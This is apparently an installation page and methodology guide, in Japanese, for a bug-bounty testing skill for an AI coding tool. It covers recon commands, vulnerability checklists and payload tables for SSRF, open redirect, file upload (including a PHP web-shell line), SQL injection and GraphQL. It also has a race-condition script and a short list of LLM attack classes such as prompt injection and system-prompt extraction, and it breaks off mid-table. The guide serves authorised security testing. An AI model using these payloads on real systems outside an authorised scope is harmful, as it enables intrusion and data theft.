bb-local-toolkit について
バグバウンティ研究者向けのローカルセキュリティテストスキルです。偵察から検証、報告までを扱い、実際の影響の証明を重視します。関連する脆弱性や攻撃チェーンの調査方法、ツールの利用例も含みます。
主な機能
- 01偵察から報告までのテスト手順
- 02実害を重視した脆弱性の選別
- 03関連する欠陥と攻撃チェーンの分析
- 04スコープと許可範囲の確認
- 05一般的なセキュリティツールとコマンド
活用シーン
- 01バグバウンティの偵察計画を立てる
- 02発見事項が実害を生むか検証する
- 03初期の欠陥から関連エンドポイントへ調査を広げる
- 04報告前に再現して影響を評価する
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill bb-local-toolkitインストール後、Claude Code で/bb-local-toolkitを入力して読み込まれたか確認します。
詳細
バグバウンティのマスターワークフロー
完全なパイプライン:偵察 -> 学習 -> ハンティング -> 検証 -> 報告。すべてを網羅する1つのスキルです。
本当に重要な唯一の質問
「攻撃者は、特別な行動を何もしていない実際のユーザーに対して、今すぐこれを実行できるのか? そして、実害(金銭の窃取、PII の漏えい、アカウント乗っ取り、コード実行)は発生するのか?」
答えが NO なら、そこで止めてください。書かないでください。これ以上調査せず、次に進んでください。
理論上のバグ = 時間の無駄。次のものはすぐに切り捨ててください:
| パターン | 切り捨てる理由 |
|---|---|
| 「理論上は可能性がある……」 | 悪用できないならバグではありません |
| 「X、Y、Z の条件がそろえば攻撃者が……できる」 | 前提条件が多すぎます |
| 「実装は間違っているが、実用上の影響はない」 | 間違っていても無害ならバグではありません |
| バグを含むデッドコード | 到達不能ならバグではありません |
| シークレットを含まないソースマップ | 影響はありません |
| DNS コールバックのみの SSRF | データの持ち出しか内部アクセスが必要です |
| オープンリダイレクトのみ | ATO または OAuth チェーンが必要です |
| 「チェーンの一部として使える可能性がある……」 | まずチェーンを構築してから報告してください |
実際の被害を実証する必要があります。「可能性がある」だけではバグではありません。動作を証明するか、報告を見送ってください。
重要なルール
- 最初に対象範囲をすべて読む -- すべてのアセット/ドメインが対象組織の所有物であることを確認する
- 理論上のバグは禁止 -- 「攻撃者は今すぐ資金を盗む、PII を漏えいさせる、アカウントを乗っ取る、またはコードを実行できるか?」できないなら、そこで止める
- 弱い発見事項はすぐに切り捨てる -- レポートを書く前に7つの質問ゲートを実施する
- 書く前に検証する -- まず CHANGELOG、設計ドキュメント、デプロイスクリプトを確認する
- 一度に扱うバグクラスは1つ -- 深く掘り下げ、手当たり次第に探さない
- データがすでに公開されていないか確認する -- API の「漏えい」を報告する前に、シークレットウィンドウでウェブ UI を確認する
- 5分ルール -- 5分間プローブしても対象に変化が見られない(すべて401/403/404)なら、次に進む
- 影響を優先したハンティング -- 「認証が破られた場合、最悪何が起きるか?」と考える。価値のあるものがなければ、その対象はスキップする
- 認証情報の漏えいには悪用の証拠が必要 -- キーを見つけただけでは不十分で、何にアクセスできるかを証明する必要がある
- 浅い偵察のループを止める -- 403をプローブしない、分析用キーを grep しない、何にもつながらないステージングドメインを調べない
- 脆弱性クラスよりビジネスへの影響を重視する -- 深刻度は脆弱性の種類だけでなく、状況によって決まる
- 対象を深く理解する -- ハンティングを始める前に、実際のユーザーのようにアプリを理解する
- 自動化に頼りすぎない -- 自動スキャンは WAF に阻止され、レート制限を発動させ、他の人がすでに見つけた同じバグを検出する
- 競争の少ない脆弱性クラスを狙う -- XSS/SSRF/XXE は競争が最も激しい。キャッシュポイズニング、Android/モバイルの脆弱性、ビジネスロジック、競合状態、OAuth/OIDC チェーン、CI/CD パイプライン攻撃にも範囲を広げる
- 1時間ルール -- 1つの対象に1時間取り組んでも進展がない場合は、コンテキストを切り替える
- 二つの視点で取り組む -- 系統的なテスト(チェックリスト)と異常検知(予期しない動作に注目する)を組み合わせる
- T字型の知識を身につける -- 1つの分野を深く掘り下げ、他のすべての分野に広く精通する
ハンティング手法の全容 — 5段階の非線形ワークフロー、開発者心理のフレームワーク、セッション規律、フェーズごとのツール選択、Wide/Deep のルート選択については、
skills/bb-methodology/SKILL.mdを参照してください。
A->B バグシグナル手法(クラスター・ハンティング)
バグAを見つけたら、その近くにあるBやCを系統的に探してください。 これはバグバウンティで最も強力な手法の一つです。単独のバグでも報奨金は得られますが、チェーンにすれば3~10倍の報奨金になります。
既知の A→B→C チェーン
| バグ A(シグナル) | バグ B の調査対象 | C へのエスカレーション |
|---|---|---|
| IDOR(読み取り) | 同じエンドポイントでの PUT/DELETE | アカウントデータの完全な操作 |
| SSRF(全般) | クラウドメタデータ 169.254.169.254 | IAM 認証情報の窃取 → RCE |
| XSS(保存型) | セッション Cookie に HttpOnly が設定されているか確認 | セッションハイジャック → ATO |
| オープンリダイレクト | OAuth の redirect_uri が自分のドメインを受け入れるか | 認証コードの窃取 → ATO |
| S3 バケットの一覧表示 | JS バンドルを列挙 | OAuth client_secret を Grep → OAuth チェーン |
| レート制限の回避 | OTP のブルートフォース | アカウント乗っ取り |
| GraphQL イントロスペクション | フィールドレベルの認可不足 | PII の大量窃取 |
| デバッグエンドポイント | 漏洩した環境変数 | クラウド認証情報 → インフラへのアクセス |
| CORS がオリジンを反映 | credentials: include を使ってテスト | 認証情報を使ったデータ窃取 |
| Host ヘッダーインジェクション | パスワードリセットのポイズニング | リセットリンク経由の ATO |
クラスター調査プロトコル(6 ステップ)
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.
実例
Coinbase の S3→Bundle→Secret→OAuth チェーン:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
Vienna チャットボットのチェーン:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact
トップ 1% のハッカーのマインドセット
エリートハッカーの思考法
平均的なハンター:ツールを実行し、チェックリストを確認し、30 分後に諦めます。 トップ 1%:アプリの内部構造についてメンタルモデルを構築します。「この仕組みはなぜこうなっているのか?」と問いかけます。「このエンドポイントは何をするのか?」ではなく、「開発者はどのようなビジネス上の判断からこのように構築したのか、そしてどんな近道を選んだ可能性があるのか?」と考えます。
調査前の思考フレームワーク
ステップ 1:最重要資産を考える
何かに触れる前に、こう問いかけます。「自分が攻撃者で、このアプリに対して何か 1 つできるとしたら、最も大きな被害をもたらすのは何か?」
- 金融アプリ → 資金を引き出し、攻撃者のアカウントに送金する
- 医療 → PII の漏洩、HIPAA 違反
- SaaS → テナント間でのデータ流出、管理者の乗っ取り
- 認証プロバイダー → SSO チェーン全体の侵害
ステップ 2:開発者の立場で考える
機能を構築した開発者のように考えます。
- 最もシンプルな実装は何か?
- 午前 2 時に疲れた開発者なら、どんな近道を選ぶか?
- 認証はどこで確認されているか――コントローラーか、ミドルウェアか、DB レイヤーか?
- エンドポイント A を経由せずにエンドポイント B を呼び出すと、何が起きるか?
ステップ 3:信頼境界のマッピング
Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?
ステップ 4:機能間の相互作用を考える
- この新機能は既存の認証を再利用しているか、それとも独自の認証を持つか?
- モバイル API はウェブアプリと認証ロジックを共有しているか?
- この機能は同じチームが開発したのか、それともサードパーティーが開発したのか?
トップ 1% のためのメンタルチェックリスト
- アプリの中核となるビジネスモデルを把握している
- 実際のユーザーとしてアプリを 15 分以上使った
- 技術スタック(言語、フレームワーク、認証システム、キャッシュ)を把握している
- このプログラムについて公開済みのレポートを少なくとも 3 件読んだ
- テストアカウントを 2 つ用意した(攻撃者 + 被害者)
- 今日調査する最重要資産を 1 つ、主なターゲットとして定めた
トップハンターのマインドセットルール
「エンドポイントではなく機能を調査する」 -- ある機能を提供するすべてのエンドポイントを見つけ、それらの相互作用をテストします。
「認可の不整合は味方」 -- アプリが 9 か所で認証を確認し、10 か所目で確認していなければ、そこがバグです。
「新しい機能 = 未レビュー」 -- 過去 30 日以内に公開された機能は、セキュリティ成熟度が最も低いものです。
「二次的な影響を考える」 -- 二次的な SSRF:URL が DB に保存され、cron ジョブによって取得されます。二次的な XSS:安全な状態で保存され、管理パネルで安全でない方法で表示されます。
「金の流れを追う」 -- 決済、請求、クレジット、返金に関わる機能では、開発者が最も多くセキュリティ上の近道を選びます。
「モバイルアプリが使う API」 -- モバイルアプリは、古い API バージョンや異なる API バージョンを呼び出すことがよくあります。同じ会社でも攻撃対象領域は異なり、セキュリティ成熟度は低い場合があります。
「差分からバグを見つける」 -- 古い API ドキュメントと新しい API ドキュメントを比較します。モバイル API とウェブ API を比較します。無料ユーザーが要求できる内容と、有料ユーザーへの応答内容を比較します。
ツール
Go バイナリ
| ツール | 用途 |
|---|---|
| subfinder | パッシブなサブドメイン列挙 |
| httpx | 稼働中のホストを調査 |
| dnsx | DNS 解決 |
| nuclei | テンプレートスキャナー |
| katana | クロール |
| waybackurls | アーカイブ URL |
| gau | 既知の URL |
| dalfox | XSS スキャナー |
| ffuf | ファザー |
| anew | 重複を除いて追記 |
| qsreplace | パラメーター値を置換 |
| assetfinder | サブドメイン列挙 |
| gf | Grep パターン(xss、sqli、ssrf、redirect) |
| interactsh-client | OOB コールバック |
必要に応じてインストールするツール
| ツール | 用途 | インストール |
|---|---|---|
| arjun | 隠しパラメーターの検出 | pip3 install arjun |
| paramspider | URL パラメーターの収集 | pip3 install paramspider |
| kiterunner | API エンドポイントのブルートフォース | go install github.com/assetnote/kiterunner/cmd/kr@latest |
| cloudenum | クラウドアセットの列挙 | pip3 install cloud_enum |
| trufflehog | シークレットのスキャン | brew install trufflehog |
| gitleaks | シークレットのスキャン | brew install gitleaks |
| XSStrike | 高度な XSS スキャナー | pip3 install xsstrike |
| SecretFinder | JS シークレットの抽出 | pip3 install secretfinder |
| sqlmap | SQL インジェクション | pip3 install sqlmap |
| subzy | サブドメイン乗っ取り | go install github.com/LukaSikic/subzy@latest |
静的解析(Semgrep による簡易監査)
# Install: pip3 install semgrep
# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
FFUF の高度なテクニック
# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac
# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac
# Filter strategies:
# -fc 404,403 Filter status codes
# -fs 1234 Filter by response size
# -fw 50 Filter by word count
# -fr "not found" Filter regex in response body
# -rate 5 -t 10 Rate limit + fewer threads for stealth
# -e .php,.bak,.old Add extensions
# -o results.json Save output
AI 支援ツール
- strix (usestrix.com) -- 初期スイープを自動化するオープンソースの AI スキャナー
フェーズ 1:偵察
標準的な偵察パイプライン
# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file
# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3
クラウドアセットの列挙
# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
code=$(curl -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
API エンドポイントの検出
# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
HackerOne スコープの取得
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'
クイックウィンのチェックリスト
- サブドメインの乗っ取り(
subjack、subzy) -
.gitの公開(/.git/config) - env ファイルの公開(
/.env、/.env.local) - 管理パネルのデフォルト認証情報
- JS シークレット(SecretFinder、jsluice)
- オープンリダイレクト(
?redirect=、?next=、?url=) - CORS の設定不備(
Origin: https://evil.comと認証情報を使ってテスト) - S3/クラウドバケット
- GraphQL イントロスペクションが有効
- Spring Actuator(
/actuator/env、/actuator/heapdump) - Firebase の読み取りが公開(
https://TARGET.firebaseio.com/.json)
技術のフィンガープリンティング
| シグナル | 技術 |
|---|---|
Cookie:XSRF-TOKEN + *_session | Laravel |
Cookie:PHPSESSID | PHP |
ヘッダー:X-Powered-By: Express | Node.js/Express |
レスポンス:wp-json/wp-content | WordPress |
レスポンス:{"errors":[{"message": | GraphQL |
ヘッダー:X-Powered-By: Next.js | Next.js |
フレームワーク別クイックウィン
Laravel:/horizon、/telescope、/.env、/storage/logs/laravel.log
WordPress:/wp-json/wp/v2/users、/xmlrpc.php、/?author=1
Node.js:/.env、/graphql(イントロスペクション)、/_debug
AWS Cognito:/oauth2/userInfo(Pool ID が漏えい)、CORS が任意のオリジンを反映
ソースコードの偵察
# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"
# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."
# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
言語別 Grep パターン
# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules
# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"
# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"
# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"
# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"
フェーズ 2:学習(ハント前の情報収集)
公開済みレポートを読む
# By program on HackerOne
curl -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
| jq '.data.hacktivity_items.nodes[].report'
「変更点」メソッド
- 類似技術についての公開済みレポートを探す
- 修正コミットを取得する
- 差分を読み、アンチパターンを特定する
- 対象を検索し、同じアンチパターンを探す
脅威モデルのテンプレート
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___
トップレポートから得られた 6 つの重要パターン
- 機能の複雑さ = バグの攻撃対象領域 -- インポート、統合、マルチテナンシー、複数ステップのワークフロー
- 開発者間の実装の不統一 = 最も強い証拠 -- ある箇所では
timingSafeEqual、別の箇所では=== - 「else 分岐」のバグ -- プロキシ/ゲートウェイの else パスで、検証せずに未加工のトークンを渡す
- インポート/エクスポート = SSRF -- 「URL からインポート」する機能には、過去に例外なく SSRF が存在
- 二次/レガシーエンドポイント = 認証なし --
/api/v1/は保護されているが、/api/は保護されていない - 金融処理における競合ウィンドウ -- 確認と減算を 2 つの DB 操作で行うと、二重支払いが発生する
フェーズ 3:ハント
メモシステム(これなしでハントしないこと)
# TARGET: company.com -- SESSION 1
## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint
## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write
サブドメインの種類 → 探索戦略
- dev/staging/test:デバッグ用エンドポイント、無効化された認証、詳細なエラーメッセージ
- admin/internal:デフォルトの認証情報、IP バイパスヘッダー(
X-Forwarded-For: 127.0.0.1) - api/api-v2:kiterunner で列挙し、保護されていない古いバージョンを確認
- auth/sso:OAuth の設定不備、
redirect_uriのオープンリダイレクト - upload/cdn:CORS、パストラバーサル、格納型 XSS
CVE を起点とする監査アプローチ
- CVE 評価セットを構築する -- 対象のコードベースについて過去の CVE を 5~10 件収集します
- 古いバグを再現する -- 古いコードにそのパターンがあることを見つけられるか確認します
- パターンを現在のコードに照合する -- 現在のコードで同じアンチパターンを検索します
- 攻撃対象領域の広い箇所に集中する -- JS エンジン、パーサーなど、信頼できない外部入力を処理するもの
Rust/ブロックチェーンのソースコード(苦労して得た教訓)
パニックが起きる経路:エンコードとデコード -- エンコード経路での .unwrap() は攻撃者が引き起こすことはできません。悪用可能なのは、ネットワーク入力のデシリアライズ/デコード時に発生するパニックだけです。
「認識済みの TODO」は緩和策ではありません -- // Votes are not signed for now のようなコメントがあっても、安全とは限りません。
確認済みの脆弱性を起点にしたパターンベースの探索 -- verify_signed_vote に問題がある場合は、verify_signed_proposal と verify_commit_signature も確認してください。
# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"
脆弱性探索チェックリスト
IDOR -- 安全でない直接オブジェクト参照
報奨金が支払われる Web2 脆弱性クラスで最も多く、報奨金が支払われたすべての報告の 30%を占めます。
IDOR の種類(10 通りのテスト方法)
| 種類 | テスト内容 |
|---|---|
| V1:直接指定 | URL パスのオブジェクト ID を変更する /api/users/123 -> /api/users/456 |
| V2:本文パラメーター | POST/PUT の JSON 本文の ID を変更する {"user_id": 456} |
| V3:GraphQL ノード | { node(id: "base64(OtherType:123)") { ... } } |
| V4:一括/バルク | /api/users?ids=1,2,3,4,5 -- 複数の ID を一度にリクエストします |
| V5:ネスト | 親 ID を変更する:/orgs/{org_id}/users/{user_id} |
| V6:ファイルパス | /files/download?path=../other-user/file.pdf |
| V7:予測可能な ID | 連番の整数、タイムスタンプ、短い UUID |
| V8:メソッドの切り替え | GET が 403 を返す場合、同じエンドポイントで PUT/PATCH/DELETE を試します |
| V9:バージョンのロールバック | v2 がブロックされている場合、同じエンドポイントで /api/v1/ を試します |
| V10:ヘッダーの注入 | X-User-ID: victim_id、X-Org-ID: victim_org |
IDOR テストチェックリスト
- 2 つのアカウントを作成する(A = 攻撃者、B = 被害者)
- A としてログインし、すべての操作を実行して、リクエスト内の ID をすべて記録する
- B としてログインし、B の認証情報を使って A のリクエストを A の ID のまま再送信する
- ID を入れ替えて、すべてのエンドポイントを試す -- GET だけでなく、PUT/DELETE/PATCH も試す
- API v1/v2 の違いを確認する
- GraphQL スキーマで node() クエリを確認する
- WebSocket メッセージでクライアントから渡される ID を確認する
- 一括エンドポイントをテストする(複数の ID をリクエストできるか)
- 想定外のパラメーターを追加して試す:
?user_id=other_user
IDOR の連鎖(より高額な報奨金)
- IDOR + PII の読み取り = 中
- IDOR + 書き込み(他人のデータを変更) = 高
- IDOR + 管理者エンドポイント = 重大(権限昇格)
- IDOR + アカウント乗っ取りにつながる経路 = 重大
- IDOR + チャットボット(LLM が他のユーザーのデータを読み取る) = 高
SSRF -- サーバーサイドリクエストフォージェリ
- クラウドメタデータを試す:
http://169.254.169.254/latest/meta-data/ - 内部サービスを試す:
http://127.0.0.1:6379/(Redis)、:9200(Elasticsearch)、:27017(MongoDB) - すべての IP バイパス手法をテストする(下の表を参照)
- プロトコルのバイパスをテストする:
file://、dict://、gopher:// - 次の箇所を調べる:Webhook URL、URL からのインポート、プロフィール画像の URL、PDF 生成ツール、XML パーサー
SSRF IP バイパステーブル(11 の手法)
| バイパス | ペイロード | 備考 |
|---|---|---|
| 10 進数 IP | http://2130706433/ | 127.0.0.1 を単一の 10 進数で表現 |
| 16 進数 IP | http://0x7f000001/ | 16 進数表記 |
| 8 進数 IP | http://0177.0.0.1/ | 8 進数の 0177 = 127 |
| 短縮 IP | http://127.1/ | 省略表記 |
| IPv6 | http://[::1]/ | IPv6 のループバック |
| IPv4 マップド IPv6 | http://[::ffff:127.0.0.1]/ | IPv4 マップド IPv6 |
| リダイレクトチェーン | http://attacker.com/302->http://169.254.169.254 | 各ホップを確認 |
| DNS リバインディング | 127.0.0.1 に解決されるドメインを登録 | 最初の確認では外部、フェッチ時は内部 |
| URL エンコード | http://127.0.0.1%[email protected] | パーサーの解釈の違い |
| 囲み英数字 | http://①②⑦.⓪.⓪.① | Unicode 数字 |
| プロトコルスミuggling | gopher://127.0.0.1:6379/_INFO | Redis などのプロトコル |
SSRF の影響チェーン
- DNS のみ = 情報提供レベル(報告しない)
- 内部サービスにアクセス可能 = 中
- クラウドメタデータを読み取り可能 = 高(キーの露出)
- クラウドメタデータ + キーの持ち出し = 重大(クラウド上でコード実行)
- Docker API にアクセス可能 = 重大(直接的な RCE)
OAuth / OIDC
-
stateパラメーターがない -> CSRF -
redirect_uriがワイルドカードを許可 -> ATO - PKCE がない -> コードの窃取
- インプリシットフロー -> リファラーでのトークン漏えい
- 認証後のリダイレクトにオープンリダイレクトがある -> OAuth トークン窃取チェーン
オープンリダイレクトのバイパステーブル(11 の手法)
オープンリダイレクトを OAuth コードの窃取につなげる際に使用します。
| バイパス | ペイロード | 備考 |
|---|---|---|
| URL の二重エンコード | %252F%252F | 二重デコード後に // に変換 |
| バックスラッシュ | https://target.com\@evil.com | 一部のパーサーは \ を / に正規化 |
| プロトコル省略 | //evil.com | プロトコル相対 URL |
| @ トリック | https://[email protected] | target.com がユーザー名になる |
| プロトコル相対 | ///evil.com | スラッシュ 3 つ |
| タブ/改行の挿入 | //evil%09.com | ホスト名に空白を含める |
| フラグメントトリック | https://evil.com#target.com | フラグメントで検証を誤認させる |
| ヌルバイト | https://evil.com%00target.com | 一部のパーサーはヌルバイトで切り詰める |
| パラメーター汚染 | ?next=target.com&next=evil.com | 最後の値が優先される |
| パスの混同 | /redirect/..%2F..%2Fevil.com | リダイレクトでのパストラバーサル |
| Unicode の正規化 | https://evil.com/target.com | 見た目の混同 |
ファイルアップロード
ファイルアップロードのバイパステーブル
| バイパス | 手法 |
|---|---|
| 二重拡張子 | file.php.jpg, file.php%00.jpg |
| 大文字/小文字の変更 | file.pHp, file.PHP5 |
| 代替拡張子 | .phtml, .phar, .shtml, .inc |
| Content-Type の偽装 | PHP コンテンツに image/jpeg ヘッダーを付与 |
| マジックバイト | GIF89a; <?php system($_GET['c']); ?> |
| .htaccess のアップロード | AddType application/x-httpd-php .jpg |
| SVG XSS | <svg onload=alert(1)> |
| 競合状態 | クリーンアップが実行される前にアップロードして実行 |
| JPEG/PHP ポリグロット | 有効な JPEG であり、同時に有効な PHP でもあるファイル |
| Zip Slip | アーカイブ内のファイル名に ../../etc/cron.d/shell を指定 |
マジックバイトのリファレンス
| 種類 | 16 進数 |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 | |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
競合状態
- クーポンコード/プロモーションコード
- ギフトカードの引き換え
- 資金の送金/引き出し
- 投票/評価の制限
- 競合状態を利用した OTP 検証のブルートフォース
seq 20 | xargs -P 20 -I {} curl -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
Turbo Intruder -- 単一パケット攻撃(すべてのリクエストを同時に到着させる)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packet
def handleResponse(req, interesting):
table.add(req)
ビジネスロジック
- カート内の数量を負の値にする
- 価格パラメーターの改ざん
- ワークフローのスキップ(例:チェックアウトせずに支払う)
- 登録フィールドを使ったロール昇格
- ダウングレード後も特権が維持される
XSS -- クロスサイトスクリプティング
XSS シンク(これらを grep で検索)
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInput
XSS チェーン(Medium から High/Critical にエスカレート)
- XSS + 機密性の高いページ(銀行、管理者)= High
- XSS + CSRF トークンの窃取 = CSRF バイパス -> Critical な操作
- XSS + service worker = ページをまたいで持続する XSS
- 偽のログインフォームを使った XSS + 認証情報の窃取 = ATO
- チャットボットの応答における XSS = 保存型 XSS チェーン
SQL インジェクション
検出
# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
# Error-based detection
'; SELECT 1/0-- # divide by zero error reveals SQLi
最新の SQLi WAF バイパス
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
GraphQL
イントロスペクション(単独では Informational ですが、攻撃対象領域が明らかになります)
{ __schema { types { name fields { name type { name } } } } }
フィールドレベルの認可不足
# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
バッチ攻撃(レート制限のバイパス)
[
{"query": "{ login(email: \"[email protected]\", password: \"pass1\") }"},
{"query": "{ login(email: \"[email protected]\", password: \"pass2\") }"},
"...100 more..."
]
LLM/AI 機能
- LLM に渡されるユーザー入力を介したプロンプトインジェクション
- AI が処理するドキュメント/URL を介した間接インジェクション
- チャット履歴の IDOR(会話 ID の列挙)
- ロールプレイ/エンコーディングを介したシステムプロンプトの抽出
- コード実行ツールの悪用による RCE
- ASCII スマグリング(LLM の出力に含まれる不可視の Unicode)
エージェント型 AI の調査(OWASP ASI01-ASI10)
ツールにアクセスできる AI エージェントが対象にある場合、次の 10 種類の攻撃クラスを確認します。
| ID | 脆弱性クラス | テスト内容 |
|---|---|---|
